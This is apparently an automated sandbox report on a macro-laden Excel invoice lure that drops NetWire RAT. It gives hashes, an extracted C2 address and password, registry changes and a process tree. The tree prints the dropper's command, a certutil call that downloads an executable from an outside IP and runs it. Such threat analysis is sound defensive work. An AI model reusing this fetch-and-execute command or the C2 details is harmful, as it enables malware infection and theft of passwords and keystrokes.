netwire | e7df88b691f820535f249821d16054a01f33e0acf3ae12d0b64f98cced910012

General

Target

Tax Invoice.xlsm
Size

42KB
MD5

241d9fbb42762beb00492d32d5e9d291
SHA1

e6f1f8bbc40a59911543be499e1e07b54d55c3f4
SHA256

e7df88b691f820535f249821d16054a01f33e0acf3ae12d0b64f98cced910012
SHA512

a503b4e51bb09fa2e5c1b2a546cbf0c562200e77e67f2f81757f0b6f5460cc38e33d0ea871b7f7c1d92ed82ac3ca756a37e08a5e633077a560c9627516ea9aef
SSDEEP

768:IvjsCvCssn3uBIJYfTH+niSpKvDH7Nv+nWhFFiKk/f7qtNhTxRB+nE2g7/:IvDvCT3uG1ByT7Nv+qFFi3/jqLxxyE2g

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Family

netwire

C2

212.193.30.230:3345

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
Password@9
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 8 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/1356-84-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1356-85-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1356-86-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1356-88-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1356-89-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1356-90-0x000000000040242D-mapping.dmp	netwire
behavioral1/memory/1356-94-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral1/memory/1356-95-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	360	1204	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Niipxzvceptnltqinb.exe.exeNiipxzvceptnltqinb.exe.exe

pid process

268 Niipxzvceptnltqinb.exe.exe
1356 Niipxzvceptnltqinb.exe.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

360 cmd.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

Niipxzvceptnltqinb.exe.exe

description pid process target process

PID 268 set thread context of 1356 268 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Office loads VBA resources, possible macro or embedded object present
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

pid	process
268	Niipxzvceptnltqinb.exe.exe
1356	Niipxzvceptnltqinb.exe.exe

pid	process
360	cmd.exe

description	pid	process	target process
PID 268 set thread context of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohevi.dll"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	EXCEL.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

428 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1204 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1672 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Niipxzvceptnltqinb.exe.exepowershell.exe

description pid process

Token: SeDebugPrivilege 268 Niipxzvceptnltqinb.exe.exe
Token: SeDebugPrivilege 1672 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

1204 EXCEL.EXE
1204 EXCEL.EXE
1204 EXCEL.EXE

pid	process
428	PING.EXE

pid	process
1204	EXCEL.EXE

pid	process
1672	powershell.exe

description	pid	process
Token: SeDebugPrivilege	268	Niipxzvceptnltqinb.exe.exe
Token: SeDebugPrivilege	1672	powershell.exe

pid	process
1204	EXCEL.EXE
1204	EXCEL.EXE
1204	EXCEL.EXE

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

EXCEL.EXEcmd.exeNiipxzvceptnltqinb.exe.execmd.exe

description	pid	process	target process
PID 1204 wrote to memory of 360	1204	EXCEL.EXE	cmd.exe
PID 1204 wrote to memory of 360	1204	EXCEL.EXE	cmd.exe
PID 1204 wrote to memory of 360	1204	EXCEL.EXE	cmd.exe
PID 1204 wrote to memory of 360	1204	EXCEL.EXE	cmd.exe
PID 360 wrote to memory of 664	360	cmd.exe	certutil.exe
PID 360 wrote to memory of 664	360	cmd.exe	certutil.exe
PID 360 wrote to memory of 664	360	cmd.exe	certutil.exe
PID 360 wrote to memory of 664	360	cmd.exe	certutil.exe
PID 360 wrote to memory of 268	360	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 360 wrote to memory of 268	360	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 360 wrote to memory of 268	360	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 360 wrote to memory of 268	360	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1208	268	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 268 wrote to memory of 1208	268	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 268 wrote to memory of 1208	268	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 268 wrote to memory of 1208	268	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 1208 wrote to memory of 428	1208	cmd.exe	PING.EXE
PID 1208 wrote to memory of 428	1208	cmd.exe	PING.EXE
PID 1208 wrote to memory of 428	1208	cmd.exe	PING.EXE
PID 1208 wrote to memory of 428	1208	cmd.exe	PING.EXE
PID 268 wrote to memory of 1672	268	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 268 wrote to memory of 1672	268	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 268 wrote to memory of 1672	268	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 268 wrote to memory of 1672	268	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 268 wrote to memory of 1356	268	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Tax Invoice.xlsm"
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1204

C:\Windows\SysWOW64\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe && Niipxzvceptnltqinb.exe.exe
2⤵
- Process spawned unexpected child process
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:360

C:\Windows\SysWOW64\certutil.exe
certutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe
3⤵
PID:664

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Niipxzvceptnltqinb.exe.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:268

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping google.com
4⤵
- Suspicious use of WriteProcessMemory
PID:1208

C:\Windows\SysWOW64\PING.EXE
ping google.com
5⤵
- Runs ping.exe
PID:428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwAA==
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
4⤵
- Executes dropped EXE
PID:1356

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

2

T1082

Query Registry

1

T1012

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

Download Submit
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

Download Submit
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

Download Submit
\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

Download Submit
memory/268-72-0x000000000C7F0000-0x000000000CA00000-memory.dmp

Filesize
2.1MB

Download
memory/268-68-0x00000000001F0000-0x00000000001F8000-memory.dmp

Filesize
32KB

Download
memory/268-66-0x0000000000000000-mapping.dmp

Download
memory/360-61-0x0000000000000000-mapping.dmp

Download
memory/428-71-0x0000000000000000-mapping.dmp

Download
memory/664-62-0x0000000000000000-mapping.dmp

Download
memory/1204-60-0x00000000007D1000-0x00000000007D5000-memory.dmp

Filesize
16KB

Download
memory/1204-59-0x00000000007D1000-0x00000000007D5000-memory.dmp

Filesize
16KB

Download
memory/1204-58-0x00000000729BD000-0x00000000729C8000-memory.dmp

Filesize
44KB

